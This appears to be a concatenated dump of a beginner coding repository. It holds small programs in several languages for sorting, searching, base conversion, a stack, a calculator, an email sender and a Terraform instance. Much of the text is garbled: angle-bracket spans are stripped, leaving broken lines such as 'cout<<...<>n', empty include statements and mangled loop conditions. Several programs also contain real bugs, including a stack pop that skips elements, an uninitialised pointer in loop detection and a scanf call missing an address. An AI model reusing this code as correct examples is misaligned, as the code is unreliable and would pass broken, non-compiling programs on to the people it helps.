8 | cout<<"Enter the number of elements:"<>n; 10 | cout<<"Enter the elements-:"<>a[i]; 15 | } 16 | 17 | for(i=1;i<=n-1;i++) 18 | { 19 | temp=a[i]; 20 | j=i-1; 21 | 22 | while((temp=0)) 23 | { 24 | a[j+1]=a[j]; //moves element forward 25 | j=j-1; 26 | } 27 | 28 | a[j+1]=temp; //insert element in proper place 29 | } 30 | 31 | cout<<"\nSorted list is as follows\n"; 32 | for(i=0;i 2 | #define MAX 100 3 | using namespace std; 4 | class Stack{ 5 | public: 6 | int top; 7 | int arr[MAX]; 8 | Stack(){ 9 | top=-1; 10 | } 11 | void push(int data){ 12 | if(top == MAX){ 13 | cout<<"Stack Overflow\n"; 14 | } 15 | else{ 16 | arr[++top] = data; 17 | } 18 | } 19 | int pop(){ 20 | if(top<=-1){ 21 | cout<<"Stack Underflow\n"; 22 | return -1; 23 | } 24 | else{ 25 | return arr[--top]; 26 | } 27 | } 28 | int peek(){ 29 | return arr[top]; 30 | } 31 | }; 32 | int main(){ 33 | Stack s; 34 | s.push(2); 35 | s.push(3); 36 | cout< { 3 | for (let i = 0; i < inputArr.length - 1; i++) { 4 | let foundMinimum = false; 5 | let minIndex = i; 6 | for (let j = i + 1; j < inputArr.length; j++) { 7 | if (inputArr[j] < inputArr[minIndex]) { 8 | foundMinimum = true; 9 | minIndex = j; 10 | } 11 | } 12 | if (foundMinimum) { 13 | inputArr = swap(inputArr, i, minIndex); 14 | } 15 | } 16 | return inputArr; 17 | }; 18 | 19 | // swap function 20 | const swap = (inputArr, i, minIndex) => { 21 | let temp = inputArr[i]; 22 | inputArr[i] = inputArr[minIndex]; 23 | inputArr[minIndex] = temp; 24 | return inputArr; 25 | }; 26 | 27 | //test function 28 | console.log(selectionSort([90, 12, 58, -2, -5, -30])); 29 | -------------------------------------------------------------------------------- /Terraform/terraform-hello-world.tf: -------------------------------------------------------------------------------- 1 | // Instance 2 | resource "aws_instance" "web" { 3 | ami = "${data.aws_ami.ubuntu.id}" 4 | availability_zone = "us-east-2a" 5 | instance_type = "t2.micro" 6 | key_name = "${aws_key_pair.my_key.key_name}" 7 | vpc_security_group_ids = ["${aws_security_group.public.id}"] 8 | subnet_id = "${aws_subnet.public.id}" 9 | associate_public_ip_address = true 10 | 11 | tags { 12 | Name = "web" 13 | } 14 | 15 | connection { 16 | user = "ubuntu" 17 | private_key = "${file("~/.ssh/id_rsa")}" 18 | agent = false 19 | host = "${aws_instance.web.public_ip}" 20 | } 21 | provisioner "remote-exec" { 22 | inline = [ 23 | "echo 'Hello World!'" 24 | ] 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /C++/overloadingNewDelete.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | using namespace std; 3 | struct value 4 | { 5 | int t; 6 | void* operator new(size_t n) // definition of new 7 | { 8 | cout << "Overloaded new" << "\n"; 9 | void *ptr=malloc(n); // memory allocated to ptr 10 | return ptr; 11 | } 12 | void operator delete(void *p) // definition of delete 13 | { 14 | cout << "Overloaded delete" << "\n"; 15 | free(p); // deallocated memory 16 | } 17 | }; 18 | int main() 19 | { 20 | value *p=new value; // calling overloaded operator new 21 | delete p; // calling overloaded operator delete 22 | return 0; 23 | } 24 | -------------------------------------------------------------------------------- /C++/selectionsort.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | using namespace std; 4 | 5 | int main() 6 | { 7 | int i, j, n, loc, temp, min, a[30]; 8 | cout<<"Enter the number of elements:"<>n; 10 | cout<<"Enter the elements\n"; 11 | 12 | for(i=0;i>a[i]; 15 | } 16 | 17 | for(i=0;ia[j]) 24 | { 25 | min=a[j]; 26 | loc=j; 27 | } 28 | } 29 | 30 | temp=a[i]; 31 | a[i]=a[loc]; 32 | a[loc]=temp; 33 | } 34 | 35 | cout<<"\nSorted list is as follows\n"; 36 | for(i=0;i 2 | int iterativeBinarySearch(int array[], int start_index, int end_index, int element){ 3 | while (start_index <= end_index){ 4 | int middle = start_index + (end_index- start_index )/2; 5 | if (array[middle] == element) 6 | return middle; 7 | if (array[middle] < element) 8 | start_index = middle + 1; 9 | else 10 | end_index = middle - 1; 11 | } 12 | return -1; 13 | } 14 | int main(void){ 15 | int array[] = {1, 4, 7, 9, 16, 56, 70}; 16 | int n = 7; 17 | int element = 16; 18 | int found_index = iterativeBinarySearch(array, 0, n-1, element); 19 | if(found_index == -1 ) { 20 | printf("Element not found in the array "); 21 | } 22 | else { 23 | printf("Element found at index : %d",found_index); 24 | } 25 | return 0; 26 | } -------------------------------------------------------------------------------- /C++/EulerMethod/eulerMethod.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | constexpr double func(const double x, const double y) 4 | { 5 | return 3*x - 2*y; 6 | } 7 | 8 | constexpr double func1(const double x, const double y) 9 | { 10 | return -y * y; 11 | } 12 | 13 | double euler(const double x0, const double y0, const double h, double (*f)(const double, const double), const double e = 0.01) 14 | { 15 | double err = 0; 16 | double y_prev = y0; 17 | double y = 0; 18 | double x = x0; 19 | 20 | for (int i = 0; i < 1000000; i++) 21 | { 22 | y = y_prev + h * f(x, y_prev); 23 | err = y_prev - y; 24 | 25 | std::cerr << i << '\t' << y << '\t' << err << '\n'; 26 | if (err <= e) 27 | { 28 | break; 29 | } 30 | x = x + h; 31 | y_prev = y; 32 | } 33 | 34 | return y; 35 | } -------------------------------------------------------------------------------- /JAVA/Uwanthi_SimpleCalculator.java: -------------------------------------------------------------------------------- 1 | package calculator; 2 | public class Calculator 3 | { 4 | int a,b; 5 | Calculator(int a, int b) 6 | { 7 | this.a=a; 8 | this.b=b; 9 | } 10 | public int Add() 11 | { 12 | return a+b; 13 | } 14 | public int Substract() 15 | { 16 | return a-b; 17 | } 18 | public int Multiply() 19 | { 20 | return a*b; 21 | } 22 | public int Divide() 23 | { 24 | return a/b; 25 | } 26 | public static void main(String[] args) 27 | { 28 | Calculator c =new Calculator(100,20); 29 | System.out.print(" Addition : "+c.Add()); 30 | System.out.print(" Subtration : "+c.Substract()); 31 | System.out.print(" Multipication : "+c.Multiply()); 32 | System.out.print(" Division : "+c.Divide()); 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /Go/CheckString.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | 4 | import ( 5 | 6 | "fmt" 7 | 8 | "strings" 9 | ) 10 | 11 | 12 | // Main function 13 | func main() { 14 | 15 | 16 | 17 | // Creating and initializing strings 18 | 19 | str1 := "Welcome to Geeks for Geeks" 20 | 21 | str2 := "Here! we learn about go strings" 22 | 23 | 24 | 25 | fmt.Println("Original strings") 26 | 27 | fmt.Println("String 1: ", str1) 28 | 29 | fmt.Println("String 2: ", str2) 30 | 31 | 32 | 33 | // Checking the string present or not 34 | 35 | // Using Contains() function 36 | 37 | res1 := strings.Contains(str1, "Geeks") 38 | 39 | res2 := strings.Contains(str2, "GFG") 40 | 41 | 42 | 43 | // Displaying the result 44 | 45 | fmt.Println("\nResult 1: ", res1) 46 | 47 | fmt.Println("Result 2: ", res2) 48 | 49 | 50 | } 51 | -------------------------------------------------------------------------------- /JAVA/Anagrams.java: -------------------------------------------------------------------------------- 1 | import java.util.*; 2 | public class Anagrams { 3 | 4 | public static void main(String[] args) { 5 | Scanner sc = new Scanner(System.in); 6 | 7 | String a = sc.next(); 8 | String b = sc.next(); 9 | boolean isAnagram = false; 10 | boolean visited[] = new boolean[b.length()]; 11 | 12 | if(a.length() == b.length()) { 13 | 14 | for(int i = 0; i < a.length(); i++) 15 | { 16 | char c = a.charAt(i); 17 | isAnagram = false; 18 | for(int j = 0; j < b.length(); j++) 19 | { 20 | if(b.charAt(j) == c && !visited[j]) 21 | { 22 | visited[j] = true; 23 | isAnagram = true; 24 | break; 25 | } 26 | } 27 | if(!isAnagram) 28 | break; 29 | } 30 | } 31 | if(isAnagram) 32 | System.out.println("anagram"); 33 | else 34 | System.out.println("not anagram"); 35 | 36 | sc.close(); 37 | } 38 | 39 | } 40 | -------------------------------------------------------------------------------- /C++/CombSort/combSort.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | template 4 | using t = std::array; 5 | 6 | template 7 | void swap(T &a, T &b) 8 | { 9 | const T tmp = a; 10 | a = b; 11 | b = tmp; 12 | } 13 | 14 | template 15 | void combSort(t& arr) 16 | { 17 | int gap = SIZE; 18 | const double shrink = 1.3; 19 | bool is_sorted = false; 20 | 21 | while (!is_sorted) 22 | { 23 | gap = floor(gap / shrink); 24 | 25 | if (gap <= 1) 26 | { 27 | gap = 1; 28 | is_sorted = true; 29 | } 30 | 31 | for (int i = 0; i + gap < SIZE; ++i) 32 | { 33 | if (arr.at(i) > arr.at(i+gap)) 34 | { 35 | swap(arr.at(i), arr.at(i + gap)); 36 | is_sorted = false; 37 | } 38 | } 39 | } 40 | } -------------------------------------------------------------------------------- /C++/Rabin-Karpsearch.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | using namespace std; 3 | int main(){ 4 | char txt[]="ABABDABACDABABCABAB"; 5 | char pat[]="ABABCABAB"; 6 | int M=strlen(pat); 7 | int N=strlen(txt); 8 | int i=0,j=0; 9 | int h=1,d=256,q=101; 10 | for(i=0;i>""" 11 | message = MIMEMultipart() 12 | message["From"] = email 13 | message["To"] = to 14 | message["Subject"] = "HacktoberFest 2019" 15 | message.attach(MIMEText(msg, "plain")) 16 | context = ssl.create_default_context() 17 | server = smtplib.SMTP("smtp.gmail.com") 18 | server.starttls() 19 | server.ehlo() 20 | server.login(email, password) 21 | server.sendmail(email, to, message.as_string()) 22 | print('Email have been successfully send') 23 | 24 | except Exception as ex: 25 | print(ex) 26 | 27 | finally: 28 | server.quit() 29 | © 2020 GitHub, Inc. 30 | -------------------------------------------------------------------------------- /Cpp/binary_to_octal.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | using namespace std; 5 | 6 | int convertBinarytoOctal(long long); 7 | int main() 8 | { 9 | long long binaryNumber; 10 | 11 | cout << "Enter a binary number: "; 12 | cin >> binaryNumber; 13 | 14 | cout << binaryNumber << " in binary = " << convertBinarytoOctal(binaryNumber) << " in octal "; 15 | 16 | return 0; 17 | } 18 | 19 | int convertBinarytoOctal(long long binaryNumber) 20 | { 21 | int octalNumber = 0, decimalNumber = 0, i = 0; 22 | 23 | while(binaryNumber != 0) 24 | { 25 | decimalNumber += (binaryNumber%10) * pow(2,i); 26 | ++i; 27 | binaryNumber/=10; 28 | } 29 | 30 | i = 1; 31 | 32 | while (decimalNumber != 0) 33 | { 34 | octalNumber += (decimalNumber % 8) * i; 35 | decimalNumber /= 8; 36 | i *= 10; 37 | } 38 | 39 | return octalNumber; 40 | } -------------------------------------------------------------------------------- /Python/jump_search.py: -------------------------------------------------------------------------------- 1 | import math 2 | 3 | def jumpSearch( array , x , n ): 4 | 5 | step = math.sqrt(n) 6 | 7 | prev = 0 8 | while array[int(min(step, n)-1)] < x: 9 | prev = step 10 | step += math.sqrt(n) 11 | if prev >= n: 12 | return -1 13 | 14 | while array[int(prev)] < x: 15 | prev += 1 16 | 17 | if prev == min(step, n): 18 | return -1 19 | 20 | if array[int(prev)] == x: 21 | return prev 22 | 23 | return -1 24 | 25 | array = [] 26 | while 1: 27 | try: 28 | x = input("Enter a number for the sorted list (To exit write something tha is not a number): ") 29 | except: 30 | break 31 | array.append(x) 32 | 33 | y = input("Enter the number you want to find: ") 34 | index = jumpSearch(array, y, len(array)) 35 | 36 | if index != -1: 37 | print "Element found at index","%.0f"%index 38 | else: 39 | print "Element not found" -------------------------------------------------------------------------------- /Python/ZahraShahid_CountingSort.py: -------------------------------------------------------------------------------- 1 | # counting sort by Zahra Shahid in python 2 | 3 | def counting_sort(A,k): 4 | length = len(A) 5 | Output = [0] * length # the sorted output array 6 | Count = [0] * k # the array of count of each number in the given range 7 | for i in range(0,length): 8 | Count[A[i]] = Count[A[i]] + 1 9 | 10 | for i in range(1,k): 11 | Count[i] = Count[i] + Count[i-1] 12 | 13 | j = length -1 14 | while j >= 0: 15 | x = A[j] 16 | Output[Count[x % k]- 1] = A[j] 17 | Count[x % k] = Count[x % k] - 1 18 | j = j - 1 19 | 20 | print(Output) 21 | 22 | 23 | 24 | #Verify if it works on the passed array 25 | Arr = [2,5,8,0,1,3,3,3,8,9,6,6,8,7,1] 26 | print(Arr) 27 | counting_sort(Arr,10) #pass array and range of numbers eg:(0-9) 28 | 29 | 30 | 31 | 32 | 33 | -------------------------------------------------------------------------------- /C++/CF816 B.cpp: -------------------------------------------------------------------------------- 1 | //CF 2 | //Karen and Coffee 3 | //https://codeforces.com/contest/816/problem/B 4 | 5 | #include 6 | using namespace std; 7 | 8 | int main() 9 | { 10 | int n,k,q; 11 | cin>>n>>k>>q; 12 | vector v(2000005,0); 13 | int a,b; 14 | for(int i=0;i>a>>b; 17 | v[a]++; 18 | v[b+1]--; 19 | } 20 | for(int i=1;i<=2000002;i++) 21 | { 22 | v[i]=v[i]+v[i-1]; 23 | } 24 | int c=0; 25 | for(int i=1;i<=2000002;i++) 26 | { 27 | if(v[i]>=k) 28 | { 29 | c++; 30 | v[i]=c; 31 | 32 | } 33 | else 34 | v[i]=c; 35 | } 36 | // for(int i=90;i<=110;i++) 37 | // { 38 | // cout<>a>>b; 43 | cout< 3 | #include 4 | using namespace std; 5 | 6 | bool isLeft(int x1, int y1, int x2, int y2, int px, int py) 7 | { 8 | int crossProductAns = x1 * (y2 - py) - y1 * (x2 - px) + (x2 * py - px * y2); 9 | // include = sign if u want to consider point on the line as left of the line. 10 | return crossProductAns >= 0 ? true : false; 11 | } 12 | 13 | 14 | 15 | int main() 16 | { 17 | // the co-ordinate of the line 18 | int x1, y1, x2, y2; 19 | //co-ordinate of a point p 20 | int px, py; 21 | cin >> x1 >> y1 >> x2 >> y2 >> px >> py; 22 | if (isLeft(x1, y1, x2, y2, px, py)) 23 | { 24 | cout << "The point p is on the left of the line." << endl; 25 | } 26 | else 27 | { 28 | cout << "The point p is on the right of the line." << endl; 29 | } 30 | 31 | return 0; 32 | } -------------------------------------------------------------------------------- /JAVA/Even_Odd.java: -------------------------------------------------------------------------------- 1 | import java.util.Scanner; 2 | 3 | class CheckEvenOdd 4 | { 5 | public static void main(String args[]) 6 | { 7 | int num; 8 | System.out.println("Enter an Integer number:"); 9 | 10 | //The input provided by user is stored in num 11 | Scanner input = new Scanner(System.in); 12 | num = input.nextInt(); 13 | 14 | /* If number is divisible by 2 then it's an even number 15 | * else odd number*/ 16 | if ( num % 2 == 0 ) 17 | System.out.println("Entered number is even"); 18 | else 19 | System.out.println("Entered number is odd"); 20 | } 21 | } 22 | 23 | class ForEvenOrOdd 24 | { 25 | public static void main(String args[]) 26 | { 27 | int i,j; 28 | for(i=0;i<=10;i++) 29 | { 30 | if(i%2==1) 31 | { 32 | System.out.println("Odd Numbers:" +i); 33 | } 34 | } 35 | for(j=0;j<10;j++) 36 | { 37 | if(j%2==0) 38 | { 39 | System.out.println("Even Number:"+j); 40 | } 41 | } 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /C/binary2DecimalBasic.c: -------------------------------------------------------------------------------- 1 | /* 2 | # Program for Binary To Decimal Conversion 3 | 4 | Given a binary number as input, we need to write a program to convert the given binary number into an equivalent decimal number. 5 | 6 | Examples : 7 | 8 | Input : 111 9 | Output : 7 10 | 11 | Input : 1010 12 | Output : 10 13 | 14 | Input: 100001 15 | Output: 33 16 | */ 17 | #include 18 | int bin2dec(int num) 19 | { 20 | int dec = 0, base = 1; 21 | while (num != 0) 22 | { 23 | dec = dec + ((num % 10) * base); 24 | base *= 2; 25 | num /= 10; 26 | } 27 | return dec; 28 | } 29 | 30 | int main() 31 | { 32 | 33 | // for test case 34 | int t; 35 | scanf("%d", &t); 36 | 37 | while (t--) 38 | { 39 | // main logic 40 | int num; 41 | scanf("%d", &num); 42 | 43 | printf("%d\n", bin2dec(num)); 44 | } 45 | 46 | return 0; 47 | } -------------------------------------------------------------------------------- /C/octal2binary.c: -------------------------------------------------------------------------------- 1 | // # Write a program to convert Octal to Binary 2 | /* 3 | Examples: 4 | 5 | Input : 25 6 | Output : 10101 7 | 8 | Input : 51 9 | Output : 101001 10 | 11 | Input: 5 12 | Output: 101 13 | */ 14 | 15 | #include 16 | 17 | int octal2bin(int octal) 18 | { 19 | int dec = 0, base = 1; 20 | 21 | while (octal != 0) 22 | { 23 | dec += (octal % 10) * base; 24 | base *= 8; 25 | octal /= 10; 26 | } 27 | 28 | int bin = 0; 29 | base = 1; 30 | 31 | while (dec != 0) 32 | { 33 | bin += ((dec % 2) * base); 34 | base *= 10; 35 | dec /= 2; 36 | } 37 | 38 | return bin; 39 | } 40 | 41 | int main() 42 | { 43 | int t; 44 | scanf("%d", &t); 45 | 46 | while (t--) 47 | { 48 | int num; 49 | scanf("%d", &num); 50 | printf("%d\n", octal2bin(num)); 51 | } 52 | 53 | return 0; 54 | } -------------------------------------------------------------------------------- /JAVA/sorting-programs/InsertionSort.java: -------------------------------------------------------------------------------- 1 | public class InsertionSort { 2 | public static void insertionSort(int array[]) { 3 | int n = array.length; 4 | for (int j = 1; j < n; j++) { 5 | int key = array[j]; 6 | int i = j-1; 7 | while ( (i > -1) && ( array [i] > key ) ) { 8 | array [i+1] = array [i]; 9 | i--; 10 | } 11 | array[i+1] = key; 12 | } 13 | } 14 | 15 | public static void main(String a[]){ 16 | int[] arr1 = {9,14,3,2,43,11,58,22}; 17 | System.out.println("Before Insertion Sort"); 18 | for(int i:arr1){ 19 | System.out.print(i+" "); 20 | } 21 | System.out.println(); 22 | 23 | insertionSort(arr1);//sorting array using insertion sort 24 | 25 | System.out.println("After Insertion Sort"); 26 | for(int i:arr1){ 27 | System.out.print(i+" "); 28 | } 29 | } 30 | } -------------------------------------------------------------------------------- /Data_Structures/detectLoopLL.cpp: -------------------------------------------------------------------------------- 1 | //We detect if a loop is present in a singly linked list using Floyd's Algorithm 2 | 3 | #include 4 | using namespace std; 5 | 6 | struct Node { 7 | int data; 8 | Node *next; 9 | Node(int x) { 10 | data = x; 11 | next = NULL; 12 | } 13 | }; 14 | 15 | bool detectLoop(Node *head) { 16 | Node *p, *q = head; 17 | while(p && q && q -> next) { 18 | p = p -> next; 19 | q = q -> next -> next; 20 | if(p == q) return true; 21 | } 22 | return false; 23 | } 24 | 25 | int main() { 26 | Node *head = new Node(10); 27 | head -> next = new Node(20); 28 | head -> next -> next = new Node(30); 29 | head -> next -> next = new Node(40); 30 | 31 | //create a loop here 32 | head -> next -> next -> next = head; 33 | 34 | if(detectLoop(head)) cout << "Loop has been detected!" << endl; 35 | else cout << "There is no loop." << endl; 36 | 37 | return 0; 38 | } -------------------------------------------------------------------------------- /JAVA/inheritence.java: -------------------------------------------------------------------------------- 1 | import java.util.*; 2 | class superclass{ 3 | 4 | String name; 5 | int salary; 6 | int bonus; 7 | public void input(String name, int salary, int bonus){ 8 | 9 | this.name = name; 10 | this.salary = salary; 11 | this.bonus = bonus; 12 | } 13 | 14 | public void display(){ 15 | 16 | System.out.println(name+" has a salary of "+salary+" anually"); 17 | } 18 | } 19 | class childclass extends superclass{ 20 | 21 | public void display(){ 22 | 23 | System.out.println(name+" has a salary of "+salary+" monthly and bonus given was "+bonus); 24 | } 25 | } 26 | public class inheritence{ 27 | 28 | public static void main(String[] args){ 29 | 30 | Scanner s = new Scanner(System.in); 31 | childclass c = new childclass(); 32 | String name = s.nextLine(); 33 | int salary = s.nextInt(); 34 | int bonus = s.nextInt(); 35 | c.input(name,salary,bonus); 36 | c.display(); 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /Cpp/JollyJumper.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | -by Imakshat47 3 | Joly Jumper 4 | */ 5 | #include 6 | using namespace std; 7 | 8 | int jollyJumper() 9 | { 10 | int n; 11 | scanf("%d", &n); 12 | int A[n]; 13 | for (int i = 1; i < n - 1; ++i) 14 | scanf("%d", A[i]); 15 | int ndiff = 0, diff = abs(A[0] - A[1]), pval = 0; 16 | for (int i = 1; i < n - 1; ++i) 17 | { 18 | if (i == 1) 19 | { 20 | pval = ndiff - diff; 21 | if (abs(pval) != 1) 22 | return 0; 23 | } 24 | if (i > 1) 25 | { 26 | if (diff - ndiff != pval) 27 | return 0; 28 | } 29 | diff = ndiff; 30 | } 31 | return 1; 32 | } 33 | 34 | int main() 35 | { 36 | int t; 37 | scanf("%d", &t); 38 | 39 | while (t--) 40 | { 41 | if (jollyJumper()) 42 | printf("Joly"); 43 | else 44 | printf("Not Joly"); 45 | } 46 | 47 | return 0; 48 | } -------------------------------------------------------------------------------- /Cpp/Imakshat47_binary2DecimalBasic.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | # Program for Binary To Decimal Conversion 3 | 4 | Given a binary number as input, we need to write a program to convert the given binary number into an equivalent decimal number. 5 | 6 | Examples : 7 | 8 | Input : 111 9 | Output : 7 10 | 11 | Input : 1010 12 | Output : 10 13 | 14 | Input: 100001 15 | Output: 33 16 | */ 17 | #include 18 | using namespace std; 19 | 20 | int bin2dec(int num) 21 | { 22 | int dec = 0, base = 1; 23 | while (num != 0) 24 | { 25 | dec = dec + ((num % 10) * base); 26 | base *= 2; 27 | num /= 10; 28 | } 29 | return dec; 30 | } 31 | 32 | int main() 33 | { 34 | 35 | // for test case 36 | int t; 37 | scanf("%d", &t); 38 | 39 | while (t--) 40 | { 41 | // main logic 42 | int num; 43 | scanf("%d", &num); 44 | 45 | printf("%d\n", bin2dec(num)); 46 | } 47 | 48 | return 0; 49 | } -------------------------------------------------------------------------------- /Data_Structures/binary_tree_using_array.java: -------------------------------------------------------------------------------- 1 | class BinaryTree{ 2 | int arr[]; 3 | int count; 4 | BinaryTree(){ 5 | arr = new int[30]; 6 | arr[0] = -1; 7 | count = 0; 8 | } 9 | void addRoot(int data){ 10 | arr[0] = data; 11 | count++; 12 | } 13 | void addLeft(int data, int parent){ 14 | arr[2*parent + 1] = data; 15 | count++; 16 | } 17 | void addRight(int data, int parent){ 18 | arr[2*parent + 2] = data; 19 | count++; 20 | } 21 | void traverse(){ 22 | if(arr[0] == -1) 23 | System.out.println("No elements to traverse"); 24 | else{ 25 | for(int i=0; i 16 | using namespace std; 17 | 18 | int octal2bin(int octal) 19 | { 20 | int dec = 0, base = 1; 21 | 22 | while (octal != 0) 23 | { 24 | dec += (octal % 10) * base; 25 | base *= 8; 26 | octal /= 10; 27 | } 28 | 29 | int bin = 0; 30 | base = 1; 31 | 32 | while (dec != 0) 33 | { 34 | bin += ((dec % 2) * base); 35 | base *= 10; 36 | dec /= 2; 37 | } 38 | 39 | return bin; 40 | } 41 | 42 | int main() 43 | { 44 | int t; 45 | scanf("%d", &t); 46 | 47 | while (t--) 48 | { 49 | int num; 50 | scanf("%d", &num); 51 | printf("%d\n", octal2bin(num)); 52 | } 53 | 54 | return 0; 55 | } -------------------------------------------------------------------------------- /Python/ReasonsWhy.py: -------------------------------------------------------------------------------- 1 | # Raghav is currently watching Netflix. He is feeling thrilled after watching Seasons 1, 2 and 3 of 13 Reasons Why, and is desperately waiting for release of Season 4. But the makers of the show are in no mood to release the next season anytime soon. 2 | 3 | # The makers of 13 Reasons Why give Raghav a challenge to solve. If he solves this challenge, then they will give exclusive copy of Season 4 to him. 4 | 5 | # But Raghav is feeling lazy. Can you help him solve this challenge? 6 | 7 | # Given 3 integers A, B, C. Do the following steps- 8 | 9 | # Swap A and B. 10 | # Multiply A by C. 11 | # Add C to B. 12 | # Output new values of A and B. 13 | # SAMPLE INPUT 14 | # 13 5 2 15 | # SAMPLE OUTPUT 16 | # 10 15 17 | # Explanation 18 | # Steps- 19 | 20 | # After swap, A = 5 and B = 13. 21 | # A is multiplied by 2. So, A = 10. 22 | # 2 is added to B. So, B = 15. 23 | 24 | 25 | # Write your code here 26 | B, A, C = [int(x) for x in input().split()] 27 | 28 | print(A*C, end=" ") 29 | print(B+C, end=" ") 30 | -------------------------------------------------------------------------------- /JAVA/karprekar.java: -------------------------------------------------------------------------------- 1 | public class Kaprekar_Number { 2 | static boolean kaprekar(int n) 3 | { 4 | if (n == 1) 5 | return true; 6 | int sq_n = n * n; 7 | int count_digits = 0; 8 | while (sq_n != 0) 9 | { 10 | count_digits++; 11 | sq_n /= 10; 12 | } 13 | sq_n = n*n; 14 | for (int r_digits=1; r_digits 18 | using namespace std; 19 | 20 | int bin2dec(string num) 21 | { 22 | int dec = 0, base = 1; 23 | for (int i = num.length() - 1; i >= 0; --i) 24 | { 25 | if (num[i] == '1') 26 | dec += base; 27 | base *= 2; 28 | } 29 | return dec; 30 | } 31 | 32 | int main() 33 | { 34 | 35 | // for test case 36 | int t; 37 | 38 | scanf("%d\n", &t); 39 | 40 | while (t--) 41 | { 42 | // main logic 43 | string str; 44 | 45 | getline(cin, str); 46 | 47 | printf("%d\n", bin2dec(str)); 48 | } 49 | 50 | return 0; 51 | } -------------------------------------------------------------------------------- /Python/calculator.py: -------------------------------------------------------------------------------- 1 | 2 | def add(x, y): 3 | return x + y 4 | 5 | def subtract(x, y): 6 | return x - y 7 | 8 | def multiply(x, y): 9 | return x * y 10 | 11 | def divide(x, y): 12 | return x / y 13 | 14 | 15 | print("Select operation.") 16 | print("1.Add") 17 | print("2.Subtract") 18 | print("3.Multiply") 19 | print("4.Divide") 20 | 21 | while True: 22 | choice = input("Enter choice(1/2/3/4): ") 23 | 24 | if choice in ('1', '2', '3', '4'): 25 | num1 = float(input("Enter first number: ")) 26 | num2 = float(input("Enter second number: ")) 27 | 28 | if choice == '1': 29 | print(num1, "+", num2, "=", add(num1, num2)) 30 | 31 | elif choice == '2': 32 | print(num1, "-", num2, "=", subtract(num1, num2)) 33 | 34 | elif choice == '3': 35 | print(num1, "*", num2, "=", multiply(num1, num2)) 36 | 37 | elif choice == '4': 38 | print(num1, "/", num2, "=", divide(num1, num2)) 39 | break 40 | else: 41 | print("Invalid Input") 42 | -------------------------------------------------------------------------------- /C/decimal2binaryUsingBitwise.c: -------------------------------------------------------------------------------- 1 | /* 2 | # Program for Decimal to Binary Conversion 3 | 4 | Given a decimal number as input, we need to write a program to convert the given decimal number into equivalent binary number. 5 | 6 | Examples: 7 | 8 | Input : 7 9 | Output : 111 10 | 11 | Input : 10 12 | Output : 1010 13 | 14 | Input: 33 15 | Output: 100001 16 | */ 17 | #include 18 | void dec2bin(int num) 19 | { 20 | for (int i = 31; i >= 0; --i) 21 | { 22 | int k = num >> i; 23 | if (k & 1) 24 | printf("1"); 25 | else 26 | { 27 | printf("0"); 28 | } 29 | } 30 | printf("\n"); 31 | } 32 | 33 | int main() 34 | { 35 | int t; 36 | scanf("%d\n", &t); 37 | 38 | while (t--) 39 | { 40 | int num; 41 | scanf("%d", &num); 42 | 43 | if (num == 0) 44 | { 45 | printf("0\n"); 46 | continue; 47 | } 48 | 49 | dec2bin(num); 50 | } 51 | 52 | return 0; 53 | } -------------------------------------------------------------------------------- /C/decimal2binaryBasicVoid.c: -------------------------------------------------------------------------------- 1 | /* 2 | # Program for Decimal to Binary Conversion 3 | 4 | Given a decimal number as input, we need to write a program to convert the given decimal number into equivalent binary number. 5 | 6 | Examples: 7 | 8 | Input : 7 9 | Output : 111 10 | 11 | Input : 10 12 | Output : 1010 13 | 14 | Input: 33 15 | Output: 100001 16 | */ 17 | #include 18 | void dec2bin(int num) 19 | { 20 | int str[32]; 21 | if (num == 0) 22 | { 23 | printf("0\n"); 24 | return; 25 | } 26 | 27 | int i = 0; 28 | 29 | while (num > 0) 30 | { 31 | str[i] = num % 2; 32 | num = num / 2; 33 | ++i; 34 | } 35 | 36 | for (int j = i - 1; j >= 0; --j) 37 | printf("%d", str[j]); 38 | 39 | printf("\n"); 40 | } 41 | 42 | int main() 43 | { 44 | int t; 45 | scanf("%d\n", &t); 46 | 47 | while (t--) 48 | { 49 | int num; 50 | scanf("%d", &num); 51 | 52 | dec2bin(num); 53 | } 54 | 55 | return 0; 56 | } -------------------------------------------------------------------------------- /JAVA/sorting-programs/SelectionSort.java: -------------------------------------------------------------------------------- 1 | public class SelectionSort { 2 | public static void selectionSort(int[] arr){ 3 | for (int i = 0; i < arr.length - 1; i++) 4 | { 5 | int index = i; 6 | for (int j = i + 1; j < arr.length; j++){ 7 | if (arr[j] < arr[index]){ 8 | index = j;//searching for lowest index 9 | } 10 | } 11 | int smallerNumber = arr[index]; 12 | arr[index] = arr[i]; 13 | arr[i] = smallerNumber; 14 | } 15 | } 16 | 17 | public static void main(String a[]){ 18 | int[] arr1 = {9,14,3,2,43,11,58,22}; 19 | System.out.println("Before Selection Sort"); 20 | for(int i:arr1){ 21 | System.out.print(i+" "); 22 | } 23 | System.out.println(); 24 | 25 | selectionSort(arr1);//sorting array using selection sort 26 | 27 | System.out.println("After Selection Sort"); 28 | for(int i:arr1){ 29 | System.out.print(i+" "); 30 | } 31 | } 32 | } -------------------------------------------------------------------------------- /C/bucket_sort.c: -------------------------------------------------------------------------------- 1 | #include 2 | void Bucket_Sort(int array[], int n) 3 | { 4 | int i, j; 5 | int count[n]; 6 | for(i=0; i < n; i++) 7 | { 8 | count[i] = 0; 9 | } 10 | for(i=0; i < n; i++) 11 | { 12 | (count[array[i]])++; 13 | } 14 | for(i=0,j=0; i < n; i++) 15 | { 16 | for(; count[i]>0;(count[i])--) 17 | { 18 | array[j++] = i; 19 | } 20 | } 21 | } 22 | int main() 23 | { 24 | int array[100]; 25 | int num; 26 | int i; 27 | printf("Enter How many Numbers : "); 28 | scanf("%d",&num); 29 | printf("Enter the %d elements to be sorted:n",num); 30 | for(i = 0; i < num; i++ ) 31 | { 32 | scanf("%d",&array[i]); 33 | } 34 | printf("nThe array of elements before sorting : n"); 35 | for (i = 0;i < num;i++) 36 | { 37 | printf("%d ", array[i]); 38 | } 39 | printf("nThe array of elements after sorting : 